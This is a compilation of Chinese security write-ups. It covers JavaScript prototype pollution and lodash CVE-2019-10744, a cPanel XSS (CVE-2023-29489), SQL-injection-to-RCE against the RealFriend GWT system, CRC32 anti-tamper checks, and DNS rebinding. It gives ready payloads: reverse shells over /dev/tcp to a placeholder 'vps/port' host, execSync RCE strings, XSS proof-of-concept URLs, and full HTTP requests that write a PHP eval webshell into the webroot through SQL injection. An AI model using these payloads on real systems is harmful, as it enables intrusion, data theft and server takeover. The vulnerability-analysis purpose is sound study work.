JavaScript原型链污染学习记录
1.JS原型和继承机制
0> 原型及其搜索机制
NodeJS原型机制,比较官方的定义:
我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,
而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法
设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。
而原型机制恰好满足这种需求。
打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用
1> 原型链和继承
原型链
原型链是在原型上实现继承的一种形式
举个例子:
function Father(){
this.name = "father";
this.age = 66;
}
function Son(){
this.name = "son";
}
var father1 = new Father();
Son.prototype = father1;
var son1 = new Son();
console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);
/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}
null
*/
整个的原型继承链如下:
关于原型搜索机制:
1)搜索当前实例属性
2)搜索当前实例的原型属性
3)迭代搜索直至null
在上面的例子中
console.log(son1.name);
console.log(son1.age);
/*
son
66
*/
2> 内置对象的原型
这个也是多级原型链污染的基础
拿一张业内很经典的图来看看
2.姿势利用
1>利用原型污染进行RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')
2>多级污染
在ctfshow Web340中有这么一题:
/* login.js */
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}
由于Function原型对象的原型也是Object的原型,即
user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype
那么就可以通过这个进行多级污染,payload为如下形式:
{
"__proto__":{
"__proto__":{
attack_code
}
}
}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)
lodash版本 < 4.17.12
CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。
看下官方样例PoC的调试过程:
const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
function check() {
lodash.defaultsDeep({}, JSON.parse(payload));
if (({})['whoami'] === "hack") {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
console.log(Object.prototype);
}
}
check();
开始调试:
在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。
所以主体逻辑为,而这段匿名函数也将为func的函数的函数体
args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);
查看overRest
在变量监听中可以发现,传入的参数整合成一个参数对象args
继续往下return apply
到apply后进入,是个使用switch并且根据参数个数作为依据
发现使用了call,这里可能是个进行原型链继承的可利用点。
(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)
function Super(){}
function Sub(){
Super.call(this); // 继承
}
然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMerge为merge的声明方式
继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])
基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动
继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global
将assigner视为合并的一个黑盒函数即可,至此完成原型链污染。
Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})
所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)
注意:通常而言,合并需要考虑深浅拷贝的问题
/*baseMerge*/
function baseMerge(object, source, srcIndex, customizer, stack) {
if (object === source) { // 优化判断是否为同一对象,是则直接返回
return;
}
// 遍历source的属性,选择深浅复制
baseFor(source, function(srcValue, key) {
if (isObject(srcValue)) {
stack || (stack = new Stack);
baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
}
else {
var newValue = customizer
? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
: undefined;
if (newValue === undefined) {
newValue = srcValue;
}
assignMergeValue(object, key, newValue);
}
}, keysIn);
} var baseFor = createBaseFor(); function createBaseFor(fromRight) { // fromRight选择从哪端开始遍历
return function(object, iteratee, keysFunc) {
var index = -1,
iterable = Object(object),
props = keysFunc(object),
length = props.length;
while (length--) {
var key = props[fromRight ? length : ++index];
if (iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名函数
break;
}
}
return object;
};
}
那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。
原来在4.17.12之前的版本也是有waf的,只是比较弱。
回归正题,在customizer之后便产生了合并
所以,为了更好地观察,我将{}替换成[](Array对象实例)
重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。
这是在生成属性时需要设置的四种数据属性
回归正题,发现只能写入Array的原型
再验证一下
const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
var object = new Object();
function check() {
// JSON.parse(payload)之后是一个JS对象
lodash.defaultsDeep([],JSON.parse(payload));
if (({})['whoami'] === "hack") {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
console.log(Object.prototype);
}
}
check();
console.log(Array.prototype);
所以说需要直接传入一个Object的实例。
官方修复,直接上waf:检测JSON中的payload中的key值
此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格
总结一下,CVE-2019-10744可用的payload
# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}
# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}
# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}
cPanel XSS漏洞分析研究(CVE-2023-29489)
一、漏洞原理
漏洞简述
cPanel 是一套在网页寄存业中最享负盛名的商业软件,是基于于 Linux 和 BSD 系统及以 PHP 开发且性质为闭源软件;提供了足够强大和相当完整的主机管理功能,诸如:Webmail 及多种电邮协议、网页化 FTP 管理、SSH 连线、数据库管理系统、DNS 管理等远端网页式主机管理软件功能。
该漏洞可以无身份验证情况下利用,无论cPanel管理端口2080, 2082, 2083, 2086是否对外开放
漏洞影响范围
供应商:cPanel
产品:cPanel
确认受影响版本:< 11.109.9999.116
修复版本:11.109.9999.116, 11.108.0.13, 11.106.0.18, and 11.102.0.31
漏洞分析
本漏洞的漏洞点来自系统中涉及交互的关键变量未进行转义或过滤处理,导致攻击者可以构造恶意代码作为输入进行利用。
Httpd.pm:
elsif ( 0 == rindex( $doc_path, '/cpanelwebcall/', 0 ) ) {
# First 15 chars are “/cpanelwebcall/”
_serve_cpanelwebcall(
$self->get_server_obj(),
substr( $doc_path, 15 ),
);
}
上述代码说明任何路径均会被路由到,包括目录后的字符部分。
其中涉及函数_serve_cpanelwebcall:
sub _serve_cpanelwebcall ( $server_obj, $webcall_uri_piece ) {
require Cpanel::Server::WebCalls;
my $out = Cpanel::Server::WebCalls::handle($webcall_uri_piece);
$server_obj->respond_200_ok_text($out);
return;
}
其中局部变量out为handle函数的返回值,是参数webcall_uri_piece的处理结果。
sub handle ($request) {
my $id = extract_id_from_request($request);
substr( $request, 0, length $id ) = q<>;
Cpanel::WebCalls::ID::is_valid($id) or do {
die _http_invalid_params_err("Invalid webcall ID: $id");
};
handle函数主要先从request提取id,之后根据id情况进行处理
sub _http_invalid_params_err ($why) {
return Cpanel::Exception::create_raw( 'cpsrvd::BadRequest', $why );
}
_http_invalid_params_err函数主要是返回错误信息
进一步分析发现Httpd::ErrorPage下的 message_html变量未做任何处理,可被该漏洞利用
补丁部分
在最新版本cPanel可以看到针对该漏洞进行修复
Cpanel/Server/Handlers/Httpd/ErrorPage.pm:
++ use Cpanel::Encoder::Tiny ();
... omitted for brevity ...
++ $var{message_html} = Cpanel::Encoder::Tiny::safe_html_encode_str( $var{message_html} );
二、漏洞复现实战
漏洞复现
首先以某个cPanel target为例
之后根据POC进行复现
POC:
http://example.com/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa
http://example.com:2082/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa
http://example.com:2086/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa
注:其他端口也有可能存在该漏洞
requests:
- method: GET
path:
- '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa'
matchers:
- type: word
words:
- '<img src=x onerror="prompt(1)">'
执行POC
漏洞修复
建议更新至版本11.109.9999.116、 11.108.0.13 、11.106.0.18 和 11.102.0.31
启用cPanel 自动更新功能
结束语
本文主要介绍了CVE-2023-29489 cPanel XSS漏洞的原理分析及复现过程,漏洞主要由于涉及交互的关键变量未进行转义或过滤处理,从而造成攻击者可以在无身份验证情况下进行利用。
记一次某应用虚拟化系统远程代码执行
漏洞简介
微步在线漏洞团队通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户各种应用软件集中部署到瑞友天翼服务集群,客户端通过WEB即可访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等。
漏洞是因为未授权接口在接收参数时没有进行处理校验,存在 SQL 注入漏洞,又因为集成环境中的 mysql 拥有写入文件的权限,所以写入 webshell 最终导致代码执行。
影响版本
5.x <= 瑞友天翼应用虚拟化系统(GWT System) <= 7.0.2.
目前相关漏洞已修复。
环境搭建
从师傅处拷到的安装包 Gwt7.0.2.1.exe 默认模式安装,最后
在线注册获取试用 http://mop.realor.cn/TrialReg.aspx
注册成功后
登录页面 默认账号密码是 Admin/123
默认路径在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot
默认数据库配置地址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat
账号密码需要将其中的 # 替换为 = 并进行 base64 解码
漏洞复现与分析
通过 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo 查看版本信息
为了方便查看后端实际执行的完整sql,我们可以使用框架提供的 getLastSql() 方法来 获取最近一次执行的SQL语句
注入一IndexController.class.phpdologin
webroot/casweb/Home/Controller/IndexController.class.php:dologin
我们看到其中的 SQL 语句以及对该函数的请求路由
http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b
构造数据包 并打印出相对应的 sql 语句
因为默认没有开启验证码,所以可以直接到达 SQL 语句处
因为搭建环境时,使用了集成好的mysql 环境,拥有 DBA 的权限,所以可以在文件夹任意位置写入内容
show global variables like '%secure%';
secure_file_priv='' #允许写入到任何文件夹
利用报错信息得到项目的绝对路径
构造payload
POST /index.php?s=/Index/dologin/name HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#
查询管理员用户的账户和密码
注入二__ConsoleExternalUploadApi.XGI
webroot/ConsoleExternalUploadApi.XGI
获取到三个参数,当三个参数都不为空时,调用 getfarminfo 来进行处理
webroot/Function.XGI
webroot/Common.XGI
对 key 值没有做任何校验,所以可以构造 payload 实现注入
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=2&key=FarmName'and sleep(5)#
修改了代码 打印出了 SQL 命令
构造实现注入写入文件
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=1&key=1'union select '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#
注入三ConsoleExternalUploadApi.XGIuploadAuthorizeKeyFile
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
initParams=command_uploadAuthorizeKeyFile__user_admin'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10
注入四ConsoleExternalApi.XGIcreateUser
之后的漏洞大抵上都可以描述为同一个漏洞,只是因为参数的不同,传入到不同的位置,在这里仅仅用一个来举例,之后的不再详细进行分析
我们从 ConsoleExternalApi.XGI 进行分析
通过 REQUEST 方法获取到参数
通过接下来的这段代码,我们可以得到如下结论,当 $key 的值为 inner 时,$keyVal 是一个固定值,$sign 的值是 md5($initparams . $keyVal); $initparams 中需要包含 __ 来分割数据,得到每个参数
然后再通过 _ 分割 得到每个参数所对应的值 也就是当传入的值是 a_1__b_2 最后得到的也就是 a=1&b=2
继续向下分析
当传入的 cmd 的值是 createUser 时,进入相对应的分支,构造相对应的语句就可以实现注入。
POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/json
{"account":"1'or sleep(5)#",
"userPwd":"1"}
注入五 ConsoleExternalApi.XGIgetUserDetailByAccount
POST /ConsoleExternalApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
initParams=command_getUserDetailByAccount__user_admin__account_1' or sleep(5) and '1&key=inner&sign=e24b8206a168347821a2f10aede99058
软件安全之CRC检测
CRC介绍
在玩某些游戏,例如fps类游戏时,你想要修改某些特定的数值实现一些功能,这时你很有可能会被查封账号甚至禁封机器码。因为你更改了游戏中的数据,从而导致接收方收到”错误的数据“。为尽量提高接收方收到数据的正确率,在接收数据之前需要对数据进行差错检测,这种检测就是我们所说的CRC检测。
CRC也叫循环冗余校验码,它属于密码学一类算法,常用于数据校验,一般会用来检测程序是否被脱壳或者被修改,以达到防破解的目的。CRC运算实际上就是将数据k进行模2运算,得到余数n,然后将n拼接到k的后面生成k+n为循环冗余校验码的字长。接着发送k+n到接收方作为被除数进行模2运算,判断余数是否为0,如果余数非0则CRC检测出数据被修改了。简单点说,就是把需要校验的数据与生成多项式进行循环异或处理。
PS:
1.发送方和接受方会约定一个特定的除数,它是一个定值,我们也叫除数为生成多项式。
2.在计算余数时,被除数也就是数据k需要进行补0,补0个数为生成多项式长度-1个0。
3.余数长度一定与补零的长度一致
流程图:
讲了这么多不如来个例子好理解
例子1:这里数据为1110101,生成多项式为101,那么我们要传给接收方的数据就为1110101(数据)+10(余数)=111010110
这个就是CRC的计算原理了
CRC计算的两种方式
1.直接计算法
这里我们通过例子来讲解,例子2:
首先我们看到这里的生成项是1101,然后在计算中的除数(蓝色字体标记)大多是1101而有时是0000,当除数为1101时被除数的首位都是1,而首位不为1时就是0000。那么我们不妨做个假设,既然被除数和除数的首位为1时会被消掉那么我们就不需要四位异或了,改成三位异或,三位异或的话被除数一次就取三个,而除数取后三个,当被除数首位为1时就左移一位让新的三位与除数(生成项)的后三位进行异或;当被除数移出位是0时就异或000,然后不断重复此步骤直至结束。(这里是针对本例题的,当你的生成项为n时,你就取n-1位异或)
那么就会有人问到底需要重复几次才算结束呢?
处理次数=待处理数据位数(被除数位数)=商的位数(本题次数为6次)
例如本题第一次被除数取100,左移一位得001然后与101异或得100。100左移一位得000然后与101异或得101。101左移一位得010然后与101异或得111。111左移一位得110然后与101异或得011。011左移一位得110然后与000异或得110(与000异或值是不变的)。110左移一位得100然后与101异或得001得到余数刚好6次。
2.驱动表法
驱动表法没有直接计算法得直观,但是效率却比直接计算法要高那么如何实现呢?我们知道直接计算法是一步一步从上往下来异或得到得结果,在算得过程中会有异或许多生成项,而生成项又是不变的,那么是不是可以提前计算出与数据前几位符合的生成项之和然后再异或呢?
那么我们就将0000 0000 ~ 1111 1111这个范围的所有生成项计算出来存储为表格,计算的时候取数据的首字节进行索引找到表中对应生成项异或的和与去掉首字节的数据进行异或就行了。
表的形成
终于过度到表了,这里我们来用算法实现表,让你清楚明白它的原理,这里我们拿CRC32表的形成举例首先得了解一下CRC32的生成项是什么
想要了解更多的CRC以及它的生成多项式可以去这里看:http://www.ip33.com/crc.html
#include <windows.h>
#include <stdio.h>
int main()
{
DWORD crc;
for (DWORD i = 0; i < 256; i++)//256个元素
{
crc = i;
for (DWORD k = 0; k < 8; k++)//因为这里异或是从数据的高位开始,所以需要计算的数据左移8位,这里就需要计算8次
{
if (crc & 1)//判断最高位是否为1
crc = (crc >> 1) ^ 0xEDB88320;//最高位为1,右移一位,然后与0xEDB88320异或
else
crc = crc >> 1;//最高位为0时,不用异或,整体数据右移一位。相当于例子2中110与000异或值是不变的
}
printf ("0x%08x, ", crc);
if (((i+1)%6) == NULL )
printf ("\n");
}
}
/*CRC32表
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
*/
注意这里用红色标识的右移,这里如果按照直接计算法来说不应该是要左移吗,为什么又右移了呢?
注意看这个表的倒数第二个,CRC32,它的输入和输出都是需要进行反转的,也就是相当于逆向,我们就要将左移修改成右移
当然还会有人问它的多项式不应该是0x04C11DB7吗,怎么又变成了0xEDB88320了呢?
这是它是因为0xEDB88320是0x04C11DB7的反转。这个表的生成很简单,一般是用的是0xEDB88320这个反转多项式,假如用0x04C11DB7这个正常多项式则必须还要交换位,显然会很麻烦。
做一个CRC的检测程序
相信大家差不多能够理解CRC实现的大概过程了,前面主要是对CRC大致了解,而我们真正需要深入了解的是CRC32。CRC32常用于游戏以及一些 ARJ、LHA等压缩工具软件,那么接下来我们来写一个CRC32的检测程序。
#include <windows.h>
#include <stdio.h>
DWORD crc32_table[256];
void CRC32_Table()
{
DWORD crc;
//DWORD crc32_table[256];
for (int i = 0; i < 256; i++)
{
crc = i;
for (DWORD k = 0; k < 8; k++)
{
if (crc & 1)
crc = (crc >> 1) ^ 0xEDB88320;
else
crc >>= 1;
}
crc32_table[i] = crc; //生成并存储CRC32数据表
}
}
//根据CRC32表计算CRC校验码
DWORD Check_CRC32(DWORD crc, PUCHAR Data, DWORD len)
{
crc = 0xFFFFFFFF; //将CRC初始化为-1
CRC32_Table();
for (DWORD i = 0; i < len; i++)
{
crc = (crc >> 8) ^ crc32_table[(crc ^ Data[i]) & 0xff];
}
return ~crc;//输出的反转
}
int main()
{
SetConsoleTitle("CRC32检测器");
printf("开始检测");
//初始内存校验值
DWORD Original_CRC32 = Check_CRC32(0, (PUCHAR)0x400000, 0x112000);
while (1)
{
//CRC循环校验实现实时检测
DWORD Cycle_CRC32 = Check_CRC32(0, (PUCHAR)0x400000, 0x112000);//这里第二个参数是基址,第三个个参数是一个校验的范围,也就是程序主模块镜像大小。
if (Cycle_CRC32 != Original_CRC32)
{
MessageBoxA(NULL, "已检测到您修改了代码!", "警告", MB_YESNO);
}
//为了防止频繁弹出信息框,这里使用的Sleep函数控制检测的周期,每5s弹出一次
Sleep(5000);
}
getchar();
}
这里初始化是因为待测数据的内容和长度是随机的,如果寄存器初始值为 0,那么待测字节是1字节的0x00,与待测字节是 N 字节的 0x00,计算出来的CRC32值都是0,那 CRC 值就没有意义了!所以寄存器用0xFFFFFFFF 进行初始化,就可以避免这个问题了
我这里的文件大小对应的是主模块镜像大小
实践是否能成功
这里我们用CE进行数据的修改
这里我们先手动添加地址,然后再将数值进行更改,我这里是改成了11111,然后过了5秒就弹出了警告。可以看出这个检测程序成功了!
当然有些有点基础的人会问,CRC不是检测代码的吗,为什么这里你修改的是数值也可以检测呢?
因为CRC是在代码段中进行操作实现的,在内存中数据根代码没有实质性的区别。
浅析DNS Rebinding
0x01 攻击简介
DNS Rebinding也叫做DNS重绑定攻击或者DNS重定向攻击。在这种攻击中,恶意网页会导致访问者运行客户端脚本,攻击网络上其他地方的计算机。
在介绍DNS Rebinding攻击机制之前我们先了解一下Web同源策略,
Web同源策略
同源策略(英语:Same-origin policy)是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URL、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据,比如XSS,XXE,SSRF等基于网页上的恶意脚本攻击。
同源的定义:如果两个 URL 的 协议、域名、端口都相同的话,则这两个 URL 是同源。
同源策略对Web应用程序具有特殊意义,因为Web应用程序广泛依赖于HTTP cookie来维持用户会话(session),所以必须将不相关网站严格分隔,以防止丢失数据泄露。
值得注意的是同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载 脚本等资源。而跨站请求伪造(CSRF)就是利用同源策略不适用于HTML标签的缺陷。
所以从理论上来讲,同源策略是能够有效的保证:客户端脚本只能访问为脚本提供服务的同一主机上的内容。
至此如何绕过Web同源策略也成了众多hacker研究的地方。
0x02 攻击原理:
这里说一下利用的TTL是什么:
TTL是英语Time-To-Live的简称,意思为一条域名解析记录在DNS服务器中的存留时间。当各地的DNS服务器接受到解析请求时,就会向域名指定的NS服务器发出解析请求从而获得解析记录;在获得这个记录之后,记录会在DNS服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向NS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
即TTL的数值越小,修改记录后所受的影响生效越快。
这里我们可以来构造一个DNS 重绑定的案例:
例如,要在192.168.32.10和127.0.0.1之间切换,我们可以将他们编码为dwords,使用https://lock.cmpxchg8b.com/rebinder.html工具:
7f000001.c0a8200a.rbndr.us
接下来,我们测试一下:
# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 127.0.0.1
# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 127.0.0.1
# host 7f000001.c0a8200a.rbndr.us
7f000001.c0a8200a.rbndr.us has address 127.0.0.1
